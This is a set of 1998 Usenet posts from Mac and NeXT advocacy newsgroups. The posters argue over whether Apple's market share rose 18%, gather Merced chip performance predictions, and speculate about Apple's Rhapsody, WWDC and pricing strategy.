References: <6hj4s6$61q@news.nd.edu> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hklh0$oit$1@ns3.vrx.net> <6hm81r$bc9$1@ha2.rdc1.sdca.home.com> <rmcassid-2304981210470001@dante.eng.uci.edu> <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com> <rmcassid-2404981024090001@dante.eng.uci.edu> <6hrp9u$j3g$3@ha2.rdc1.sdca.home.com> <rmcassid-2704980939540001@dante.eng.uci.edu> <6i5s68$6ae$3@ha2.rdc1.sdca.home.com> <3547f577.0@news.depaul.edu>
> > Plan A is SONY.
>
> Unless I dreamt it, didn't Sony recently shack up with Microsoft
> in some capacity?
So has Apple. Besides the recent Office and IE deals, don't forget:
YellowBox (aka OpenStep) runs on NT and 95
OpenStep development environment runs on NT
WebObjects runs on NT
QuickTime runs on NT and 95
ColorSync coming to Windows soon
Apple has been repositioning itself for some time to be very compatible
with Microsoft. Virtually every key technology Apple is pushing as the
future is available for or has been announced for Windows.
Apple, Microsoft-compatible.
Todd todd@NetSQ.com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 30 Apr 1998 17:52:33 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6iadp1$rm3@newsb.netnews.att.com>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>
>Objectively, Apple's sales went from 3.4/100*(x market volume) to
>4/100*(y market volume). Since you have two totally independent
>variables in there, the 18% figure is totally nonsensical. Check your
>prob/stat texts.
Overall, PC shipments did grow, so we also know that y > x.
If y = x, Apple's sales volume grew by 18%.
If y= m * x (m > 1), then Apple's sales volume grew by 18*m %
or more than 18%.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Merced predictions
Date: 30 Apr 1998 17:59:56 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6iae6s$s1v@newsb.netnews.att.com>
Originator: gupta@tlctest
I'm collecting predictions of Merced performance;
please mail any URLs that you find with performance predictions
to
gupta@mrspock.mt.att.com
(My "reply" address is anti-spammed).
Thanks !
-arun gupta
Here is what I have so far :
Merced (IA-64) Performance Talk
Note : some of the URLs may be outdated.
Date : May 5, 1997
URL : http://www.techweb.com/se/directlink.cgi?CRN19970505S0017
Quote:
At the same time, details about Merced, its 64-bit processor, are slowly
emerging. Merced will be available in products in 1999 and is expected to
run at clock speed between 400MHz and 450MHz.
Date : October 27, 1997
URL : http://www.chipanalyst.com/q/@1313437pcjccz/mpr/merced/v11_14.html
Quote :
Pollack asserted that Merced will deliver
"industry-leading performance" when it first begins shipping.
Date: 1997
URL : http://www.chipanalyst.com/q/@1313437pcjccz/tech_lib/IA64/summary.html
Quote:
The first IA-64 processor, code-named Merced, will appear in 1999 using
0.18-micron technology. We expect it to operate at speeds of around 800 MHz and
to deliver 50 SPECint95 and 100 SPECfp95 (base). In x86 mode, Merced could
match the performance of a 500-MHz Pentium II, a mainstream processor
in Intel's PC line in 1999.
Date: March 10, 1997
URL : http://ne2.news.com/News/Item/0,4,8651,00.html
Quote:
At 1 GHz, performance of Merced is expected to exceed a rating of 100,
according to the widely used SPECfp95 standard, which rates the processor's
performance in engineering and scientific applications, the report said.
Currently, the Pentium Pro musters about a 6.70 rating.
Date : January 8, 1998
URL : http://www.southam.com/edmontonjournal/computers/010898stor4.html
Quote :
Intel won't say how much faster its new chip will be. But analysts predict
Merced will run at more than 900 megahertz, which is more than three times
faster than today's fastest microprocessors.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Thu, 30 Apr 1998 13:14:22 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3548BF7E.42E04F3C@nstar.net>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net> <6iadp1$rm3@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Michael Peck <mjpeck@nstar.net> wrote:
> >
> >Objectively, Apple's sales went from 3.4/100*(x market volume) to
> >4/100*(y market volume). Since you have two totally independent
> >variables in there, the 18% figure is totally nonsensical. Check your
> >prob/stat texts.
>
> Overall, PC shipments did grow, so we also know that y > x.
> If y = x, Apple's sales volume grew by 18%.
> If y= m * x (m > 1), then Apple's sales volume grew by 18*m %
> or more than 18%.
All true.
For the record, and for comparison's sake, Dell Computer's (Steve Jobs:
"We're coming for you") sales volume grew by 56% from 1997 to 1998.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Thu, 30 Apr 1998 13:25:47 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3548C22A.3E88DCA9@nstar.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Salvatore Denaro wrote:
> >> Any statsticion would disagree with you.
> >I doubt it. I'm not a statistician, but I don't think you've correctly
> >read the problem.
>
> Translation:
>
> I don't know what I am talking about, but I am going to say it anyway.
Wow, that's insulting. Is it possible for you to post without evoking
this image of a snide, leering face?
> >The problem is not with percentage increase, but with percentages
> >measured in percentages. Such differential measurements, especially when
> >based on a fluctuating population, are totally meaningless.
[cut]
> They are useful and they are common. HP uses them in it's annual report:
>
> http://www.hp.com/financials/97annrep/review/financial/
>
> Skip down to the "Net earnings" line on the chart.
>
> <trimmed to better illustrate my example>
>
> For the years ended October 31 1997 1996 1995
> ---------------------------------------------
> Net earnings 7.3% 6.7% 7.7%
>
> Next skip down to final paragraph. They clearly state
>
> "As reported, net earnings increased
> 21 percent to $3.1 billion in 1997,
> compared with a 6 percent increase
> in 1996."
>
> They list net earnings growth as a _Ratio_
Exactly. What you've apparently missed (I've said it three times, now;
is your server dropping posts?) is that they *don't* list net earnings
growth as a _RATIO OF A RATIO_. HP's number reflect 21% growth of $3.1
billion (be careful, that's a dollar sign, not percent ;-)
When you measure percentages, it is only statistically meaningful to
measure percentages of fixed amounts, unless you can carefully control
the dependence of your variables to reflect statistically meaningful
results (and if you can do this, there's no mathematical reason to
express the denominator as a ratio, anyway). The "Apple's market share
grew 18%" statement was *NOT* based on statistically meaningful data.
HP's net earnings growth is.
[cut]
> Anyone who has taken any science classes knows that the best way to show
> a rate of change in one variable, is when all the other variables are
> constant.
That's right. As we've already seen, HP's net earnings are measured
against an assumedly fixed amount (the dollar over one year's time),
while Apple's market share growth is measured against market volume, an
inherently INCONSTANT number. Thank you for making the point so well.
[cut]
> Can you see why listing the 3.4% -> 4.0% growth makes sense when listed
> as 15% growth? It cuts out a lot of the vars and focuses on one fact.
No.
> >The problem in question is not analogous to your example. The problem in
> >question would involve something like this:
>
> Actually, his statement is right on the mark. Your example made no sense
> at all. It wasn't even close to what he was describing.
Forgive me, but I believe you've overlooked some facts.
> >The absurdity of the above problem should be evident.
>
> What is evident is that you have never read a financial statement.
You're just too smart for me, Sal. I give up. But I have a question: if
the validity of your claim is so evident, based on knowledge gleaned
from reading financial statements (O wisest one), how is it that Apple's
financial statement never happens to mention market share growth as a
percentage of market share?
[laugh]
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 30 Apr 1998 14:07:14 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ia0ii$nup$2@ns3.vrx.net>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
<35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net>
<6iadp1$rm3@newsb.netnews.att.com>
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Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6iadp1$rm3@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
claimed:
> Overall, PC shipments did grow, so we also know that y > x.
> If y = x, Apple's sales volume grew by 18%.
> If y= m * x (m > 1), then Apple's sales volume grew by 18*m %
> or more than 18%.
IDC's own statements on this topic state that Apple's Mac shipments grew at
the same rate as the market. This is interesting considering most of the
growth in general is in the low end where Apple doesn't (currently) compete.
Maury
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Thu, 30 Apr 98 18:52:32 GMT
Message-ID: <6iahdm$ou1$1@nntp2.ba.best.com>
References: <3546D280.2588@ultranet.ca> <B16C9D26-25EBF@206.165.43.25> <6i84cq$all$1@nntp2.ba.best.com> <35481E39.75C0@ultranet.ca>
In article <35481E39.75C0@ultranet.ca>, Alan_spamMeNot_Baker@ultranet.ca wrote:
>If you're referring to a web front end when you say "FileMaker should
>have it" then you're behind the times. FileMaker 4 has a Web interface.
>
>If you refer to methods to connect Mac software to bigger iron
>databases, the Mac OS has include DAL (Data Access Language) going on
>forever.
>
>It's basicall SQL for the Mac. Perhaps you've heard of SQL?
>
I know all of the above. I was simply answering that any mac users can have
access to a "MS Access" database.
The point about Filemaker Pro and DAL is irrelevant/ non-germane to the topic
about MS Access and mac users
-
porschemeister
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Thu, 30 Apr 98 18:53:48 GMT
Message-ID: <6iahg2$ou1$2@nntp2.ba.best.com>
References: <3546D280.2588@ultranet.ca> <B16C9D26-25EBF@206.165.43.25> <6i84cq$all$1@nntp2.ba.best.com> <35481E39.75C0@ultranet.ca> <6iahdm$ou1$1@nntp2.ba.best.com>
In article <6iahdm$ou1$1@nntp2.ba.best.com>, mr_boxster@nospam_yahoo.com (MR_boxster) wrote:
>In article <35481E39.75C0@ultranet.ca>, Alan_spamMeNot_Baker@ultranet.ca wrote:
>
>>If you're referring to a web front end when you say "FileMaker should
>>have it" then you're behind the times. FileMaker 4 has a Web interface.
>>
>>If you refer to methods to connect Mac software to bigger iron
>>databases, the Mac OS has include DAL (Data Access Language) going on
>>forever.
>>
>>It's basicall SQL for the Mac. Perhaps you've heard of SQL?
>>
>
>
>I know all of the above. I was simply answering that any mac users can have
>access to a "MS Access" database.
>The point about Filemaker Pro and DAL is irrelevant/ non-germane to the topic
>about MS Access and mac users
>
>-
>porschemeister
>
oops. I did notice I commented on Filemaker in my previous post.. Goof up
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 30 Apr 1998 20:45:50 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd7478$fb9622e0$04387880@test1>
References: <6hr2p6$37i$1@pith.uoregon.edu> <edewEs351v.Ms2@netcom.com> <6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com> <35479A36.AD3AAC09@trilithon.com> <01bd73ce$08f9d590$04387880@test1> <6i8uqj$p1b$1@ha2.rdc1.sdca.home.com>
> > I predict this will be a very interesting year for Apple...
Waiting
> > for news from WWDC...
> While you're waiting... what would you do with Apple's interesting
year?
WWDC & APPLE DEVELOPERS
-----------------------
First, "Its the Applications, Stupid" to borrow a phrase from the
Clinton campaign. Apple is nothing without applications, and that is
why it has been critical for Apple to get Microsoft on-board with a new
Office for the Mac and why Apple is working very hard to get Intuit
back into the Mac game. People don't use an OS, people use
applications.
So, how does Apple convince existing developers to stick with Apple,
and how does Apple convince new developers or developers of new
products to deliver for Apple?
What API will Apple push at this year's WWDC? The older Mac Toolbox or
OpenStep? Will Apple push the cross-platform capabilities of
YellowBox? As has been mentioned before, forget the operating system,
it is the APIs which are important!
How will Apple license its libraries to developers?
This year's WWDC will have to address these issues, and in doing so
will frame Apple's relationship with developers for the future. And,
once again, it is the developers and the applications that they produce
which will make or break Apple.
NEW SYSTEMS
-----------
Second, Apple will soon be releasing Rhapsody, a solid, UNIX-class
operating system with a Mac look and feel and the ability to run most
existing MacOS applications. It was for this capability that Apple
purchased NeXT, which ultimately led to the demise of most of Apple's
senior management at the time.
How will Rhapsody be accepted by customers? Will there be a healthy
supply of native Rhapsody applications (rather than MacOS applications
in BlueBox)?
How will Apple position Rhapsody? Will it be positioned mainly as a
server? A Mac workstation for the power users?
What will the relationship between Rhapsody and MacOS be? Will
Rhapsody be positioned mainly as a server, supplying applications to
run on MacOS systems? Or will Rhapsody be positioned to run
applications right on Rhapsody, sending drawing commands over a network
or firewire to be displayed on a very then MacOS system?
NEW CONTENT CREATION
--------------------
We are finally seeing widespread adoption of writeable CD players.
With the capability to store large amounts of multimedia data on CDs
and distribute them for about $2 a pop, everyone can become a media
creator. And with similar potential for DVD around the corner, and DVD
players starting to become widely available, CD/DVD content creation
may offer opportunities as big or bigger than Web content creation.
For example, Apple recently announce a plan to distribute Avid
Technology, Inc.'s Avid Cinema video editing package with new
All-in-one Macs for education[1]. Initially promoted as a way to
develop video yearbooks, the possibilities are enormous.
Imagine:
o Every school band being able to cut a CD each year with the audio of
all band concerts, marches, and students' solo and ensembles. Also
included would be video from football half-time performances.
o Every high-school rock band now being able to cut their own CDs with
their music and own music videos.
o Every sports booster program distributing a CD at the end of each
season with scores, stats, photographs, and video highlights from every
game.
o New parents being able to distribute *edited* video of their new baby
to all their relatives. No more sitting through two hours of the baby
laying there for those few choice moments.
Apple is probably better positioned than anyone to take advantage of
this new wave of CD/DVD content creation. Will Apple use this to sell
new software and new systems?
INFLECTION POINTS
-----------------
As mentioned before, we are about to see a major inflection point:
cable systems and broadcaster are about to move to digital TV big time
(e.g., our local TCI currently offers digital cable with additional
capabilities), high definition TVs will be hitting the market, NTSC TV
broadcast is being phased out over the next decade, and we are starting
to see the switch from decades old VHS technology to new DVD-based
technology for recording (not quite yet) and video playback.
All this change creates an enormous potential market, and I believe
Apple needs to look for new markets. Will the rumored Apple Media
Player (AMP) fit into this market somehow? Would a joint venture
between Apple and companies already in the consumer electronics market
(e.g., Sony) make sense?
SUMMARY
-------
In addition to the continuous rumores of Apple being bought by some
other company, we have the following to look forward to this year:
o Apple setting its technology direction and establishing
its relationship with developers at WWDC in two weeks.
o Apple releasing Rhapsody - a change probably only rivaled
by the change from the Apple II to the Mac.
o The revolution of content creation for CDs made possible
by low-cost writeable CD players and new software will
open new markets perhaps as big as content creation for
the web.
o The mass revolution of digital TV, HDTV, DVD, and new
set-top boxes, all set to really role this fall, will
usher in even more opportunities.
I truly believe that 1998 will be looked back upon as a major year for
Apple. Will it be looked upon as a new beginning or a major missed
opportunity?
Todd todd@NetSQ.com
[1] http://www.apple.com/pr/library/1998/apr/27avid.html
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Thu, 30 Apr 1998 16:06:54 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3548E7EE.408C@CONVEX.COM>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
<35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net>
<6iadp1$rm3@newsb.netnews.att.com> <6ia0ii$nup$2@ns3.vrx.net>
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Maury Markowitz wrote:
>
> In <6iadp1$rm3@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
> claimed:
> > Overall, PC shipments did grow, so we also know that y > x.
> > If y = x, Apple's sales volume grew by 18%.
> > If y= m * x (m > 1), then Apple's sales volume grew by 18*m %
> > or more than 18%.
>
> IDC's own statements on this topic state that Apple's Mac shipments grew at
> the same rate as the market. This is interesting considering most of the
> growth in general is in the low end where Apple doesn't (currently) compete.
I *thought* I heard that revenue from the last quarter was down from
both the year-ago and from the previous quarter. If sales volume is up,
but revenue is down, we have to assume that margins are much lower than
they have traditionally been, and thus it's reasonable to look at
Apple's market growth as actually being to the low end (in terms of
margins), and that Apple's customers are paying more for the low end at
this point. Or, put another way, Apple has managed to convince its
customers that the low-end is a higher price point than that currently
assumed by the PC clone market (sub-$1,000 and the like).
I believe that this trend can be traced mostly to the small but
specialized demand for Apple's products, as well as the zeal of its
customers. However, if Apple can manipulate these factors into
convincing a larger market that the low-end is moving up rather than
down (in terms of dollars), it would be good for the market as a whole.
Right now, everyone expects the market to chase fewer and fewer
per-capita dollars for the forseeable future. Any success, on Apple's
part, in reversing this trend should be seen as a healthy trend for the
market, fiscally.
MJP
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 30 Apr 1998 21:38:50 GMT
Organization: @Home Network
Message-ID: <6iar1a$91g$1@ha2.rdc1.sdca.home.com>
References: <6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com>
<35479A36.AD3AAC09@trilithon.com> <edewEs8IsB.KuE@netcom.com>
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Cc: edew@netcom.com
In <edewEs8IsB.KuE@netcom.com> Eric Dew wrote:
> In article <35479A36.AD3AAC09@trilithon.com> Henry McGilton
<henry@trilithon.com> writes:
> >Eric Dew wrote:
> > * Considering all the recent BAD deals that Japanese
> > * companies have made (Rockefeller Center, Columbia,
> > * etc.) and that Japan and other Asian countries
> > * are not doing so well, I think Apple may be in a
> > * position to BUY SONY rather than the other way around.
> >Sony's market cap is $34 billion. Apple's is $3.7 billion.
>
> Of course, I was being facetious. But, let's wait a few weeks and see
> what the market cap is then :-)
>
>
Weeks... really? My aren't we optimistic!
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 30 Apr 1998 21:43:36 GMT
Organization: @Home Network
Message-ID: <6iara8$91g$2@ha2.rdc1.sdca.home.com>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
<35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net>
<6iadp1$rm3@newsb.netnews.att.com> <3548BF7E.42E04F3C@nstar.net>
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Cc: mjpeck@nstar.net
In <3548BF7E.42E04F3C@nstar.net> Michael Peck wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> >
> > Michael Peck <mjpeck@nstar.net> wrote:
> > >
> > >Objectively, Apple's sales went from 3.4/100*(x market volume) to
> > >4/100*(y market volume). Since you have two totally independent
> > >variables in there, the 18% figure is totally nonsensical. Check your
> > >prob/stat texts.
> >
> > Overall, PC shipments did grow, so we also know that y > x.
> > If y = x, Apple's sales volume grew by 18%.
> > If y= m * x (m > 1), then Apple's sales volume grew by 18*m %
> > or more than 18%.
>
> All true.
>
> For the record, and for comparison's sake, Dell Computer's (Steve Jobs:
> "We're coming for you") sales volume grew by 56% from 1997 to 1998.
>
>
<off topic>
Dell's now reporting $4 million /day sales off their website! Well February,
anyway.
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Thu, 30 Apr 1998 16:59:16 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3548F434.729A@CONVEX.COM>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
<35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net>
<6iadp1$rm3@newsb.netnews.att.com> <3548BF7E.42E04F3C@nstar.net> <6iara8$91g$2@ha2.rdc1.sdca.home.com>
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Rex Riley wrote:
> > All true.
> >
> > For the record, and for comparison's sake, Dell Computer's (Steve Jobs:
> > "We're coming for you") sales volume grew by 56% from 1997 to 1998.
> >
> >
> <off topic>
> Dell's now reporting $4 million /day sales off their website! Well February,
> anyway.
Didn't they also report that they expected to raise 50% of their revenue
from their website this coming year? I was surprised the percentage was
so low; I thought they got most of their sales from the website.
Anyway, Apple reported that less than 1% of its revenue came from the
Apple Store last quarter. I think there's a lot of room for improvement
there.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: Thu, 30 Apr 1998 16:08:08 -0700
Organization: UC Irvine
Message-ID: <rmcassid-3004981608080001@dante.eng.uci.edu>
References: <6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com> <35479A36.AD3AAC09@trilithon.com> <edewEs8IsB.KuE@netcom.com> <6iar1a$91g$1@ha2.rdc1.sdca.home.com>
In article <6iar1a$91g$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>In <edewEs8IsB.KuE@netcom.com> Eric Dew wrote:
>> In article <35479A36.AD3AAC09@trilithon.com> Henry McGilton
>> >Sony's market cap is $34 billion. Apple's is $3.7 billion.
>>
>> Of course, I was being facetious. But, let's wait a few weeks and see
>> what the market cap is then :-)
>Weeks... really? My aren't we optimistic!
We have two forces at work:
1) AAPL could increase given a public exhibition of Steves water walking
ability at WWDC. He'd need to grow the beard back and dress even more
shabbily than usual to get the desired effect, though.
2) Sony could tank should the Japanese economy continue to get sucked down
the johnny.
Any chance that Michael Dell could show up and announce that they are
dumping preloading Windows in favor of Rhapsody? That might do it...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Thu, 30 Apr 1998 16:31:18 -0700
Organization: UC Irvine
Message-ID: <rmcassid-3004981631180001@dante.eng.uci.edu>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net> <6iadp1$rm3@newsb.netnews.att.com> <6ia0ii$nup$2@ns3.vrx.net> <3548E7EE.408C@CONVEX.COM>
In article <3548E7EE.408C@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
>Maury Markowitz wrote:
>>
>> IDC's own statements on this topic state that Apple's Mac shipments grew at
>> the same rate as the market. This is interesting considering most of the
>> growth in general is in the low end where Apple doesn't (currently) compete.
>
>I *thought* I heard that revenue from the last quarter was down from
>both the year-ago and from the previous quarter.
Both are correct.
>If sales volume is up,
>but revenue is down, we have to assume that margins are much lower than
>they have traditionally been, and thus it's reasonable to look at
>Apple's market growth as actually being to the low end (in terms of
>margins), and that Apple's customers are paying more for the low end at
>this point. Or, put another way, Apple has managed to convince its
>customers that the low-end is a higher price point than that currently
>assumed by the PC clone market (sub-$1,000 and the like).
Sorta correct. Apple's margins are considerably higher today than they
have been in previous quarters - two effects:
A) Apple has dumped some rather low-margin (in the big picture) products -
imaging, Newton, etc.
B) Apple has added more high-margin products - higher WO sales than 12
months ago and G3 boxes which still have killer margins. Someone argued
that the margins on the G3's should be dropping toward 20% since the price
drops, but I think they are still in the 30+% range. The G3 supposedly was
a <$1000 design that deserved a >$1500 price tag. The likely margin
calculation on these is left as an exercise to the reader.
But yes, Apple has convinced the _replacement_ market that the low-end
need not be as low as the Wintel market. And why not? The $1699 G3 AIO box
that I just bought (it is very sweet) is considerably cheaper than the
$3000 I would have spent just a year ago for similar (relative)
performance. I paid $1699 and am *very* happy with what I got for the
money. It's a goddamn fast box. Runs Win95 as fast or faster than the
$1000 Wintel boxes that are being bought in the school. That's good enough
for me. As for a Wintel user - not good enough. Apple needs to push lower
prices with _good quality_ to get the Wintel crowd.
>I believe that this trend can be traced mostly to the small but
>specialized demand for Apple's products, as well as the zeal of its
>customers. However, if Apple can manipulate these factors into
>convincing a larger market that the low-end is moving up rather than
>down (in terms of dollars), it would be good for the market as a whole.
>Right now, everyone expects the market to chase fewer and fewer
>per-capita dollars for the forseeable future. Any success, on Apple's
>part, in reversing this trend should be seen as a healthy trend for the
>market, fiscally.
I think that the AIO boxes will do an adequate job of staving off any
further Wintel assaults on education. They cost more, but they are
considerably more powerful boxes than Wintel cheapies and are very well
suited to education. Apple got the details right on these.
I think Apple will actually do the opposite of what you suggest and force
prices even lower through PPC price/performance advantages and elimination
of 'stuff'. If Apple can cut out some of the cruft in the hardware, plays
up the price/perforance advantages of the PPC, and doesn't need to pay
triple-digit prices to MS for an OS, then they have a decent advantage in
the marketplace. Suddenly Apple could have a 10% cost advantage over a
comparable Wintel box - a huge advantage when competition is tight. We
only need to wait for the 233 G3 to be half as fast or so as Apple's top
end machine for the value of those chips to drop. I suspect we'll see
400MHz G3's soon.
-Bob 'Super fucking pleased that the new Powerbook G3's chip is on a
daughercard' Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Thu, 30 Apr 1998 16:36:13 -0700
Organization: UC Irvine
Message-ID: <rmcassid-3004981636130001@dante.eng.uci.edu>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net> <6iadp1$rm3@newsb.netnews.att.com> <3548BF7E.42E04F3C@nstar.net> <6iara8$91g$2@ha2.rdc1.sdca.home.com> <3548F434.729A@CONVEX.COM>
In article <3548F434.729A@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
>Didn't they also report that they expected to raise 50% of their revenue
>from their website this coming year? I was surprised the percentage was
>so low; I thought they got most of their sales from the website.
I was surprised it was that low as well. I think Dell does a lot of
business with large orders. My stepfather decided to upgrade all the
computers at his company and ordered them all from Compaq, I think. It was
something like 6,000 systems. Takes a lot of hits on a website to make up
for those kinds of volumes.
>Anyway, Apple reported that less than 1% of its revenue came from the
>Apple Store last quarter. I think there's a lot of room for improvement
>there.
Lots and lots of room. I consult the site a lot but have never bought
there (better prices on campus). The site has really helped me make up my
mind, though, so I think it's value is somewhat hidden in the numbers.
We'll see what they can do for a BTO laptop...
-Bob Cassidy
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 30 Apr 1998 22:06:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6khtej.2gq.sal@panix3.panix.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net>
On Thu, 30 Apr 1998 13:25:47 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>> >The problem is not with percentage increase, but with percentages
>> >measured in percentages. Such differential measurements, especially when
>> >based on a fluctuating population, are totally meaningless.
They are *NOT* meaningless to people who know how to use them.
They show the rate of change between to sample points. If you don't know
why this is useful, then RTFM.
>When you measure percentages, it is only statistically meaningful to
>measure percentages of fixed amounts,
Unless you know what a derivatives are.
> unless you can carefully control
>the dependence of your variables to reflect statistically meaningful
>results
They are meaningful.
>express the denominator as a ratio, anyway). The "Apple's market share
>grew 18%" statement was *NOT* based on statistically meaningful data.
>HP's net earnings growth is.
T1 T2
--------------------------------------------------------------------
Total size of PC market % 100 100
Total size of Apple's share 3.4 4.0
The rate of growth of Apple's share (delta) -> 15%
>while Apple's market share growth is measured against market volume, an
>inherently INCONSTANT number. Thank you for making the point so well.
THIS STAT MAKES NO ASSUMPTIONS ON MARKET VOLUME, OR ANY CHANGES IN MARKET
VOLUME. IT REPORTS ONLY ON THE RATE OF CHANGE OF APPLE'S SHARE OF THE TOTAL
MARKET.
>> Can you see why listing the 3.4% -> 4.0% growth makes sense when listed
>> as 15% growth? It cuts out a lot of the vars and focuses on one fact.
>No.
It shows a change in the rate of growth. In 1995, Apple shipped more machines
than in 1994, but the rate of growth was negitive. This was one of the first
signs that something was wrong.
>Forgive me, but I believe you've overlooked some facts.
Please list them.
>> >The absurdity of the above problem should be evident.
>> What is evident is that you have never read a financial statement.
>You're just too smart for me, Sal. I give up. But I have a question: if
>the validity of your claim is so evident, based on knowledge gleaned
>from reading financial statements (O wisest one), how is it that Apple's
>financial statement never happens to mention market share growth as a
>percentage of market share?
I don't know. They have a choice on how to present data. If they choose
to use pie charts, does that invalidate bar charts? If they use Times
roman font, does that invalidate Arial? A good CFO knows how to report
good news to make it sound like great news, and bad news like it isn't
so bad. The increase in the rate of growth is one of about a hundred or
so stats that you would use to judge how Apple is doing.
What exactly is your background? Have you ever read a finacial report?
A balance sheet?
>[laugh]
They are laughing at you, not with you.
--
sal@panix.com Salvatore Denaro
